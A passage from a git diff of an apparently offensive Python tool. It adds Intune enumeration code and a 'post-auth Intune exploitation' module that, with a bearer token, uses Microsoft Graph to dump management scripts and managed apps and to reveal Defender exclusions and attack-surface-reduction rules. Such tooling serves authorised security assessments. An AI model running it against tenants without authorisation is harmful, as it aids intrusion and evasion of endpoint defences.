get_devicegrouppolicyconfigurations(args): + print_yellow("[*] Get-DeviceGroupPolicyConfigurations") + print("=" * 80) + api_url = "https://graph.microsoft.com/beta/deviceManagement/groupPolicyConfigurations" + + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': 'Bearer ' + get_access_token(args.token), + 'Accept': 'application/json', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + + if response.status_code == 200: + group_policies = response.json() + else: + print_red(f"[-] Error: API request failed with status code {response.status_code}") + group_policies = None + + if group_policies and 'value' in group_policies: + for policy in group_policies['value']: + for key, value in policy.items(): + print(f"{key} : {value}") + + policy_id = policy.get('id') + if policy_id: + assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/groupPolicyConfigurations/{policy_id}/assignments" + assignments_response = requests.get(assignments_api_url, headers=headers) + + if assignments_response.status_code == 200: + assignments = assignments_response.json() + if not assignments.get('value'): + print_red("assignmentTarget: No assignments") + else: + print_green("assignmentTargets:") + for assignment in assignments.get('value', []): + if 'target' in assignment: + target = assignment['target'] + odata_type = target.get('@odata.type', '').split('.')[-1] + if odata_type == 'exclusionGroupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f"- Excluded Group ID: {group_id}") + elif odata_type == 'allLicensedUsersAssignmentTarget': + print("- Assigned to all users") + elif odata_type == 'allDevicesAssignmentTarget': + print("- Assigned to all devices") + elif odata_type == 'groupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f"- Assigned to Group ID: {group_id}") + else: + print(f" {odata_type}: {target}") + else: + print_red("assignmentTarget: No assignments") + else: + print_red(f"[-] Error: API request for assignments failed with status code {assignments_response.status_code}") + print("\n") + print("=" * 80) + +# get-devicegrouppolicydefinition +# - remove +def get_devicegrouppolicydefinition(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-DeviceGroupPolicyDefinition command") + return + + print_yellow("[*] Get-DeviceGroupPolicyDefinition") + print("=" * 80) + api_url = f"https://graph.microsoft.com//beta/deviceManagement/groupPolicyConfigurations('{args.id}')/definitionValues?$expand=definition($select=id,classType,displayName,policyType,hasRelatedDefinitions,version,minUserCspVersion,minDeviceCspVersion)" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-roledefinitions +def get_roledefinitions(args): + print_yellow("[*] Get-RoleDefinitions") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/deviceManagement/roleDefinitions" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-roleassignments +def get_roleassignments(args): + print_yellow("[*] Get-RoleAssignments") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/deviceManagement/roleAssignments" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-devicecompliancepolicies +def get_devicecompliancepolicies(args): + print_yellow("[*] Get-DeviceCompliancePolicies") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCompliancePolicies?$expand=scheduledActionsForRule($expand=scheduledActionConfigurations)" + if args.select: + api_url += "&$select=" + args.select + + try: + user_agent = get_user_agent(args) + headers = { + "Authorization": f"Bearer {get_access_token(args.token)}", + "Accept": "application/json", + "User-Agent": user_agent + } + + response = requests.get(api_url, headers=headers) + response.raise_for_status() + policies = response.json() + + if policies and 'value' in policies: + for policy in policies['value']: + for key, value in policy.items(): + if key not in ['assignments', 'scheduledActionsForRule']: + print(f"{key} : {value}") + + # Display assignments for each policy + policy_id = policy.get('id') + if policy_id: + assignments_api_url = f"https://graph.microsoft.com/v1.0/deviceManagement/deviceCompliancePolicies('{policy_id}')/assignments" + assignments_response = requests.get(assignments_api_url, headers=headers) + assignments_response.raise_for_status() + assignments = assignments_response.json() + + if not assignments.get('value'): + print_red("assignments: None") + else: + print_green("assignments:") + for assignment in assignments.get('value', []): + if 'target' in assignment: + target = assignment['target'] + odata_type = target.get('@odata.type', '').split('.')[-1] + if odata_type == 'exclusionGroupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f"- Excluded Group ID: {group_id}") + elif odata_type == 'allLicensedUsersAssignmentTarget': + print("- Assigned to all users") + elif odata_type == 'allDevicesAssignmentTarget': + print("- Assigned to all devices") + elif odata_type == 'groupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f"- Assigned to Group ID: {group_id}") + else: + print(f"- {odata_type}: {target}") + + # Display scheduled actions for rule + scheduled_actions = policy.get('scheduledActionsForRule', []) + if not scheduled_actions: + print_red("scheduledActionsForRule: None") + else: + print_green("scheduledActionsForRule:") + for action in scheduled_actions: + #print(f"- Config ID: {action.get('id')}") + for config in action.get('scheduledActionConfigurations', []): + print(f" - Action Type: {config.get('actionType')}") + print(f" - Grace Period Hours: {config.get('gracePeriodHours')}") + print(f" - Notification Template Type: {config.get('notificationTemplateType')}") + + print("\n") + else: + print_red("[-] No data found") + except requests.exceptions.RequestException as ex: + print_red(f"[-] HTTP Error: {ex}") + print("=" * 80) + +# get-deviceconfigurationpolicies +def get_deviceconfigurationpolicies(args): + print_yellow("[*] Get-DeviceConfigurationPolicies") + print("=" * 80) + api_url = "https://graph.microsoft.com/beta/deviceManagement/configurationPolicies" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': 'Bearer ' + get_access_token(args.token), + 'Accept': 'application/json', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + + if response.status_code == 200: + policies = response.json() + else: + print_red(f"[-] Error: API request failed with status code {response.status_code}") + policies = None + print("=" * 80) + + if policies and 'value' in policies: + for policy in policies['value']: + for key, value in policy.items(): + print(f"{key} : {value}") + + if 'templateReference' in policy and 'templateDisplayName' in policy['templateReference']: + print(f"template: {policy['templateReference']['templateDisplayName']}") + + # display assignments for each policy + policy_id = policy.get('id') + if policy_id: + assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{policy_id}')/assignments" + assignments_response = requests.get(assignments_api_url, headers=headers) + + if assignments_response.status_code == 200: + assignments = assignments_response.json() + if not assignments.get('value'): + print_red("assignments: None") + else: + print_green("assignments:") + for assignment in assignments.get('value', []): + if 'target' in assignment: + target = assignment['target'] + odata_type = target.get('@odata.type', '').split('.')[-1] + if odata_type == 'exclusionGroupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f"- Excluded Group ID: {group_id}") + elif odata_type == 'allLicensedUsersAssignmentTarget': + print("- Assigned to all users") + elif odata_type == 'allDevicesAssignmentTarget': + print("- Assigned to all devices") + elif odata_type == 'groupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f"- Assigned to Group ID: {group_id}") + else: + print(f"- {odata_type}: {target}") + else: + print_red(f"[-] Error: API request for assignments failed with status code {assignments_response.status_code}") + print("\n") + print("=" * 80) \ No newline at end of file diff --git a/Graphpython/commands/intune_exploit.py b/Graphpython/commands/intune_exploit.py new file mode 100644 index 0000000..af245b6 --- /dev/null +++ b/Graphpython/commands/intune_exploit.py @@ -0,0 +1,2047 @@ +import requests +import json +import sys +import base64 +from tabulate import tabulate +from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token +from Graphpython.utils.helpers import read_file_content, graph_api_get + +################################# +# Post-Auth Intune Exploitation # +################################# + +# dump-devicemanagementscripts +def dump_devicemanagementscripts(args): + print_yellow("[*] Dump-DeviceManagementScripts") + print("=" * 80) + api_url = "https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts" + if args.select: + api_url += "?$select=" + args.select + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# dump-windowsapps +def dump_windowsapps(args): + print_yellow("[*] Dump-WindowsApps") + print("=" * 80) + api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=(isof(%27microsoft.graph.win32CatalogApp%27)%20or%20isof(%27microsoft.graph.windowsStoreApp%27)%20or%20isof(%27microsoft.graph.microsoftStoreForBusinessApp%27)%20or%20isof(%27microsoft.graph.officeSuiteApp%27)%20or%20(isof(%27microsoft.graph.win32LobApp%27)%20and%20not(isof(%27microsoft.graph.win32CatalogApp%27)))%20or%20isof(%27microsoft.graph.windowsMicrosoftEdgeApp%27)%20or%20isof(%27microsoft.graph.windowsPhone81AppX%27)%20or%20isof(%27microsoft.graph.windowsPhone81StoreApp%27)%20or%20isof(%27microsoft.graph.windowsPhoneXAP%27)%20or%20isof(%27microsoft.graph.windowsAppX%27)%20or%20isof(%27microsoft.graph.windowsMobileMSI%27)%20or%20isof(%27microsoft.graph.windowsUniversalAppX%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.windowsWebApp%27)%20or%20isof(%27microsoft.graph.winGetApp%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" + + if args.select: + api_url += "$select=" + args.select # some fields will 400 whole req + if args.id: + api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + try: + response = requests.get(api_url, headers=headers) + response.raise_for_status() + json_data = response.json() + json_data.pop('@odata.context', None) + json_data.pop('assignments@odata.context', None) + for key, value in json_data.items(): + if key == 'assignments': + if not value: + print_red("assignments: None") + else: + print_green("assignments:") + for assignment in value: + print(f" - ID: {assignment['id']}") + print(f" Intent: {assignment['intent']}") + if 'target' in assignment: + target = assignment['target'] + odata_type = target.get('@odata.type', '').split('.')[-1] + print(f" Target:") + if odata_type == 'exclusionGroupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f" Excluded Group ID: {group_id}") + elif odata_type == 'allLicensedUsersAssignmentTarget': + print(" Assigned to all users") + elif odata_type == 'allDevicesAssignmentTarget': + print(" Assigned to all devices") + elif odata_type == 'groupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f" Assigned to Group ID: {group_id}") + else: + print(f" {odata_type}: {target}") + print() + else: + print(f"{key}: {value}") + except requests.exceptions.RequestException as ex: + print_red(f"[-] HTTP Error: {ex}") + print("=" * 80) + return + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# dump-iosapps +def dump_iosapps(args): + print_yellow("[*] Dump-iOSApps") + print("=" * 80) + api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=((isof(%27microsoft.graph.managedIOSStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27lineOfBusiness%27)%20or%20isof(%27microsoft.graph.iosLobApp%27)%20or%20isof(%27microsoft.graph.iosStoreApp%27)%20or%20isof(%27microsoft.graph.iosVppApp%27)%20or%20isof(%27microsoft.graph.managedIOSLobApp%27)%20or%20(isof(%27microsoft.graph.managedIOSStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27global%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.iOSiPadOSWebClip%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" + + if args.select: + api_url += "$select=" + args.select # some fields will 400 whole req + if args.id: + api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + try: + response = requests.get(api_url, headers=headers) + response.raise_for_status() + json_data = response.json() + json_data.pop('@odata.context', None) + json_data.pop('assignments@odata.context', None) + for key, value in json_data.items(): + if key == 'assignments': + if not value: + print_red("assignments: None") + else: + print_green("assignments:") + for assignment in value: + print(f" - ID: {assignment['id']}") + print(f" Intent: {assignment['intent']}") + if 'target' in assignment: + target = assignment['target'] + odata_type = target.get('@odata.type', '').split('.')[-1] + print(f" Target:") + if odata_type == 'exclusionGroupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f" Excluded Group ID: {group_id}") + elif odata_type == 'allLicensedUsersAssignmentTarget': + print(" Assigned to all users") + elif odata_type == 'allDevicesAssignmentTarget': + print(" Assigned to all devices") + elif odata_type == 'groupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f" Assigned to Group ID: {group_id}") + else: + print(f" {odata_type}: {target}") + print() + else: + print(f"{key}: {value}") + except requests.exceptions.RequestException as ex: + print_red(f"[-] HTTP Error: {ex}") + print("=" * 80) + return + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# dump-macosapps +def dump_macosapps(args): + print_yellow("[*] Dump-macOSApps") + print("=" * 80) + api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=(isof(%27microsoft.graph.macOSDmgApp%27)%20or%20isof(%27microsoft.graph.macOSPkgApp%27)%20or%20isof(%27microsoft.graph.macOSLobApp%27)%20or%20isof(%27microsoft.graph.macOSMicrosoftEdgeApp%27)%20or%20isof(%27microsoft.graph.macOSMicrosoftDefenderApp%27)%20or%20isof(%27microsoft.graph.macOSOfficeSuiteApp%27)%20or%20isof(%27microsoft.graph.macOsVppApp%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.macOSWebClip%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" + + if args.select: + api_url += "$select=" + args.select # some fields will 400 whole req + if args.id: + api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + try: + response = requests.get(api_url, headers=headers) + response.raise_for_status() + json_data = response.json() + json_data.pop('@odata.context', None) + json_data.pop('assignments@odata.context', None) + for key, value in json_data.items(): + if key == 'assignments': + if not value: + print_red("assignments: None") + else: + print_green("assignments:") + for assignment in value: + print(f" - ID: {assignment['id']}") + print(f" Intent: {assignment['intent']}") + if 'target' in assignment: + target = assignment['target'] + odata_type = target.get('@odata.type', '').split('.')[-1] + print(f" Target:") + if odata_type == 'exclusionGroupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f" Excluded Group ID: {group_id}") + elif odata_type == 'allLicensedUsersAssignmentTarget': + print(" Assigned to all users") + elif odata_type == 'allDevicesAssignmentTarget': + print(" Assigned to all devices") + elif odata_type == 'groupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f" Assigned to Group ID: {group_id}") + else: + print(f" {odata_type}: {target}") + print() + else: + print(f"{key}: {value}") + except requests.exceptions.RequestException as ex: + print_red(f"[-] HTTP Error: {ex}") + print("=" * 80) + return + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# dump-androidapps +def dump_androidapps(args): + print_yellow("[*] Dump-AndroidApps") + print("=" * 80) + api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=((isof(%27microsoft.graph.androidManagedStoreApp%27)%20and%20microsoft.graph.androidManagedStoreApp/isSystemApp%20eq%20true)%20or%20isof(%27microsoft.graph.androidLobApp%27)%20or%20isof(%27microsoft.graph.androidStoreApp%27)%20or%20(isof(%27microsoft.graph.managedAndroidStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27lineOfBusiness%27)%20or%20isof(%27microsoft.graph.managedAndroidLobApp%27)%20or%20(isof(%27microsoft.graph.managedAndroidStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27global%27)%20or%20(isof(%27microsoft.graph.androidManagedStoreApp%27)%20and%20microsoft.graph.androidManagedStoreApp/isSystemApp%20eq%20false)%20or%20isof(%27microsoft.graph.webApp%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" + + if args.select: + api_url += "$select=" + args.select # some fields will 400 whole req + if args.id: + api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + try: + response = requests.get(api_url, headers=headers) + response.raise_for_status() + json_data = response.json() + json_data.pop('@odata.context', None) + json_data.pop('assignments@odata.context', None) + for key, value in json_data.items(): + if key == 'assignments': + if not value: + print_red("assignments: None") + else: + print_green("assignments:") + for assignment in value: + print(f" - ID: {assignment['id']}") + print(f" Intent: {assignment['intent']}") + if 'target' in assignment: + target = assignment['target'] + odata_type = target.get('@odata.type', '').split('.')[-1] + print(f" Target:") + if odata_type == 'exclusionGroupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f" Excluded Group ID: {group_id}") + elif odata_type == 'allLicensedUsersAssignmentTarget': + print(" Assigned to all users") + elif odata_type == 'allDevicesAssignmentTarget': + print(" Assigned to all devices") + elif odata_type == 'groupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f" Assigned to Group ID: {group_id}") + else: + print(f" {odata_type}: {target}") + print() + else: + print(f"{key}: {value}") + except requests.exceptions.RequestException as ex: + print_red(f"[-] HTTP Error: {ex}") + print("=" * 80) + return + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-scriptcontent +def get_scriptcontent(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-ScriptContent command") + return + + print_yellow("[*] Get-ScriptContent") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{args.id}" + + if args.select: + api_url += "&$select=" + args.select + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + try: + response = requests.get(api_url, headers=headers) + response.raise_for_status() + json_data = response.json() + json_data.pop('@odata.context', None) + + script_content = json_data.get('scriptContent') + if script_content: + decoded_script_content = base64.b64decode(script_content).decode('utf-8') + json_data['scriptContent'] = decoded_script_content + json_data.pop('scriptContent', None) + for key, value in json_data.items(): + print(f"{key} : {value}") + if script_content: + print("scriptContent :\n") + print(decoded_script_content) + except requests.exceptions.RequestException as ex: + print(f"[-] HTTP Error: {ex}") + print("=" * 80) + +# display-avpolicyrules +def display_avpolicyrules(args): + if not args.id: + print_red("[-] Error: --id argument is required for Display-AVPolicyRules command") + return + + print_yellow("[*] Display-AVPolicyRules") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + settings_map = { + "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_highseveritythreats": { + "description": "Remediation action for High severity threats", + "values": { + "4=1": "Clean (service tries to recover files and try to disinfect)", + "4=2": "Quarantine (moves files to quarantine)", + "4=3": "Remove (removes files from system)", + "4=6": "Allow (allows file/does none of the above actions)", + "4=8": "User defined (requires user to make a decision on which action to take)", + "4=10": "Block (blocks file execution)" + } + }, + "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_lowseveritythreats": { + "description": "Remediation action for Low severity threats", + "values": { + "1=1": "Clean (service tries to recover files and try to disinfect)", + "1=2": "Quarantine (moves files to quarantine)", + "1=3": "Remove (removes files from system)", + "1=6": "Allow (allows file/does none of the above actions)", + "1=8": "User defined (requires user to make a decision on which action to take)", + "1=10": "Block (blocks file execution)" + } + }, + "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_moderateseveritythreats": { + "description": "Remediation action for Moderate severity threats", + "values": { + "2=1": "Clean (service tries to recover files and try to disinfect)", + "2=2": "Quarantine (moves files to quarantine)", + "2=3": "Remove (removes files from system)", + "2=6": "Allow (allows file/does none of the above actions)", + "2=8": "User defined (requires user to make a decision on which action to take)", + "2=10": "Block (blocks file execution)" + } + }, + "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_severethreats": { + "description": "Remediation action for Severe threats", + "values": { + "5=1": "Clean (service tries to recover files and try to disinfect)", + "5=2": "Quarantine (moves files to quarantine)", + "5=3": "Remove (removes files from system)", + "5=6": "Allow (allows file/does none of the above actions)", + "5=8": "User defined (requires user to make a decision on which action to take)", + "5=10": "Block (blocks file execution)" + } + }, + "device_vendor_msft_policy_config_defender_allowarchivescanning": { + "description": "Allow archive scanning", + "values": { + "0": "Not allowed (turns off scanning on archived files)", + "1": "Allowed (scans the archive files)" + } + }, + "device_vendor_msft_policy_config_defender_allowbehaviormonitoring": { + "description": "Allow behavior monitoring", + "values": { + "0": "Not allowed (turns off behavior monitoring)", + "1": "Allowed (turns on real-time behavior monitoring)" + } + }, + "device_vendor_msft_policy_config_defender_allowcloudprotection": { + "description": "Allow cloud protection", + "values": { + "0": "Not allowed (turns off Cloud Protection)", + "1": "Allowed (turns on Cloud Protection" + } + }, + "device_vendor_msft_policy_config_defender_allowemailscanning": { + "description": "Allow email scanning", + "values": { + "0": "Not allowed (turns off email scanning)", + "1": "Allowed (turns on email scanning)" + } + }, + "device_vendor_msft_policy_config_defender_allowfullscanonmappednetworkdrives": { + "description": "Allow full scan on mapped network drives", + "values": { + "0": "Not allowed (disables scanning on mapped network drives)", + "1": "Allowed (scans mapped network drives)" + } + }, + "device_vendor_msft_policy_config_defender_allowfullscanremovabledrivescanning": { + "description": "Allow full scan on removable drives", + "values": { + "0": "Not allowed (turns off scanning on removable drives)", + "1": "Allowed (scans removable drives)" + } + }, + "device_vendor_msft_policy_config_defender_allowintrusionpreventionsystem": { + "description": "Allow intrusion prevention system", + "values": { + "0": "Not allowed", + "1": "Allowed" + } + }, + "device_vendor_msft_policy_config_defender_allowioavprotection": { + "description": "Allow IOAV protection", + "values": { + "0": "Not allowed", + "1": "Allowed" + } + }, + "device_vendor_msft_policy_config_defender_allowrealtimemonitoring": { + "description": "Allow real-time monitoring", + "values": { + "0": "Not allowed", + "1": "Allowed" + } + }, + "device_vendor_msft_policy_config_defender_allowscanningnetworkfiles": { + "description": "Allow scanning network files", + "values": { + "0": "Not allowed", + "1": "Allowed" + } + }, + "device_vendor_msft_policy_config_defender_allowscriptscanning": { + "description": "Allow script scanning", + "values": { + "0": "Not allowed", + "1": "Allowed" + } + }, + "device_vendor_msft_policy_config_defender_allowuseruiaccess": { + "description": "Allow user UI access", + "values": { + "0": "Not allowed", + "1": "Allowed" + } + }, + "device_vendor_msft_policy_config_defender_checkforsignaturesbeforerunningscan": { + "description": "Check for signatures before running scan", + "values": { + "0": "Not required", + "1": "Required" + } + }, + "device_vendor_msft_policy_config_defender_cloudblocklevel": { + "description": "Cloud block level", + "values": { + "0": "Disabled", + "1": "Basic", + "2": "High" + } + }, + "device_vendor_msft_policy_config_defender_disablecatchupfullscan": { + "description": "Disable catch-up full scan", + "values": { + "0": "Enabled", + "1": "Disabled" + } + }, + "device_vendor_msft_policy_config_defender_disablecatchupquickscan": { + "description": "Disable catch-up quick scan", + "values": { + "0": "Enabled", + "1": "Disabled" + } + }, + "device_vendor_msft_policy_config_defender_enablelowcpupriority": { + "description": "Enable low CPU priority", + "values": { + "0": "Disabled", + "1": "Enabled" + } + }, + "device_vendor_msft_policy_config_defender_enablenetworkprotection": { + "description": "Enable network protection", + "values": { + "0": "Disabled", + "1": "Enabled" + } + }, + "device_vendor_msft_policy_config_defender_excludedextensions": { + "description": "Excluded extensions", + "values": {} + }, + "device_vendor_msft_policy_config_defender_excludedpaths": { + "description": "Excluded paths", + "values": {} + }, + "device_vendor_msft_policy_config_defender_excludedprocesses": { + "description": "Excluded processes", + "values": {} + }, + "device_vendor_msft_policy_config_defender_puaprotection": { + "description": "PUA protection", + "values": { + "0": "Disabled", + "1": "Enabled" + } + }, + "device_vendor_msft_policy_config_defender_realtimescandirection": { + "description": "Real-time scan direction", + "values": { + "0": "Both directions", + "1": "Inbound only", + "2": "Outbound only" + } + }, + "device_vendor_msft_policy_config_defender_scanparameter": { + "description": "Scan parameter", + "values": { + "0": "Quick scan", + "1": "Full scan" + } + } + } + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for setting in response_json.get('value', []): + if 'settingInstance' in setting: + setting_instance = setting['settingInstance'] + setting_id = setting_instance.get('settingDefinitionId', '') + if setting_id in settings_map: + description = settings_map[setting_id]['description'] + + if setting_instance['@odata.type'] == '#microsoft.graph.deviceManagementConfigurationSimpleSettingCollectionInstance': + simple_setting_values = setting_instance.get('simpleSettingCollectionValue', []) + value_list = [simple_setting_value.get('value', '') for simple_setting_value in simple_setting_values if simple_setting_value.get('value')] + value = ', '.join(value_list) + print(f"{description} : {value}") + elif 'choiceSettingValue' in setting_instance: + value = setting_instance['choiceSettingValue'].get('value', '') + value_suffix = value[len(setting_id):].lstrip('_') + + if value_suffix in settings_map[setting_id]['values']: + mapped_value = settings_map[setting_id]['values'][value_suffix] + elif value_suffix == 'block': + mapped_value = 'BLOCK' + elif value_suffix == 'allow': + mapped_value = 'ALLOW' + else: + mapped_value = value_suffix.upper() + print(f"{mapped_value:<10} : {description}") + + # group setting collection values + for setting in response_json.get('value', []): + if 'settingInstance' in setting and 'groupSettingCollectionValue' in setting['settingInstance']: + group_settings = setting['settingInstance']['groupSettingCollectionValue'] + for group_setting in group_settings: + for child in group_setting.get('children', []): + choice_setting_value = child.get('choiceSettingValue', {}) + value = choice_setting_value.get('value', '') + setting_id = child.get('settingDefinitionId', '') + if setting_id in settings_map: + description = settings_map[setting_id]['description'] + value_suffix = value[len(setting_id):].lstrip('_') + + if value_suffix in settings_map[setting_id]['values']: + mapped_value = settings_map[setting_id]['values'][value_suffix] + elif value_suffix == 'block': + mapped_value = 'BLOCK' + elif value_suffix == 'allow': + mapped_value = 'ALLOW' + else: + mapped_value = value_suffix.upper() + print(f"{mapped_value:<10} : {description}") + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# display-asrpolicyrules +def display_asrpolicyrules(args): + if not args.id: + print_red("[-] Error: --id argument is required for Display-ASRPolicyRules command") + return + + print_yellow("[*] Display-ASRPolicyRules") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + settings_map = { + "blockadobereaderfromcreatingchildprocesses": "Block Adobe Reader from creating child processes", + "blockprocesscreationsfrompsexecandwmicommands": "Block process creations from PSExec and WMI commands", + "blockexecutionofpotentiallyobfuscatedscripts": "Block execution of potentially obfuscated scripts", + "blockpersistencethroughwmieventsubscription": "Block persistence through WMI event subscription", + "blockwin32apicallsfromofficemacros": "Block Win32 API calls from Office macros", + "blockofficeapplicationsfromcreatingexecutablecontent": "Block Office applications from creating executable content", + "blockcredentialstealingfromwindowslocalsecurityauthoritysubsystem": "Block credential stealing from Windows local security authority subsystem", + "blockexecutablefilesrunningunlesstheymeetprevalenceagetrustedlistcriterion": "Block executable files running unless they meet prevalence age trusted list criterion", + "blockjavascriptorvbscriptfromlaunchingdownloadedexecutablecontent": "Block JavaScript or VBScript from launching downloaded executable content", + "blockofficecommunicationappfromcreatingchildprocesses": "Block Office communication app from creating child processes", + "blockofficeapplicationsfrominjectingcodeintootherprocesses": "Block Office applications from injecting code into other processes", + "blockallofficeapplicationsfromcreatingchildprocesses": "Block all Office applications from creating child processes", + "blockwebshellcreationforservers": "Block web shell creation for servers", + "blockuntrustedunsignedprocessesthatrunfromusb": "Block untrusted unsigned processes that run from USB", + "useadvancedprotectionagainstransomware": "Use advanced protection against ransomware", + "blockexecutablecontentfromemailclientandwebmail": "Block executable content from email client and webmail", + "blockabuseofexploitedvulnerablesigneddrivers": "Block abuse of exploited vulnerable signed drivers" + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + + if "value" in response_json: + for item in response_json["value"]: + setting_instance = item.get("settingInstance", {}) + group_settings = setting_instance.get("groupSettingCollectionValue", []) + + for group in group_settings: + children = group.get("children", []) + + for child in children: + choice_setting_value = child.get("choiceSettingValue", {}) + value = choice_setting_value.get("value", "") + + if value: + parts = value.split("_") + if len(parts) >= 2: + action = parts[-1].upper() + rule_name = "_".join(parts[:-1]) + rule_name = rule_name.replace("device_vendor_msft_policy_config_defender_attacksurfacereductionrules_", "") + readable_rule = settings_map.get(rule_name, rule_name) + print(f"{action:<6}: {readable_rule}") + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# display-diskencryptionpolicyrules +def display_diskencryptionpolicyrules(args): + if not args.id: + print_red("[-] Error: --id argument is required for Display-DiskEncryptionPolicyRules command") + return + + print_yellow("[*] Display-DiskEncryptionPolicyRules") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" #?$expand=settingDefinitions" + + if args.select: + api_url += "?$select=" + args.select + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + settings_map = { + 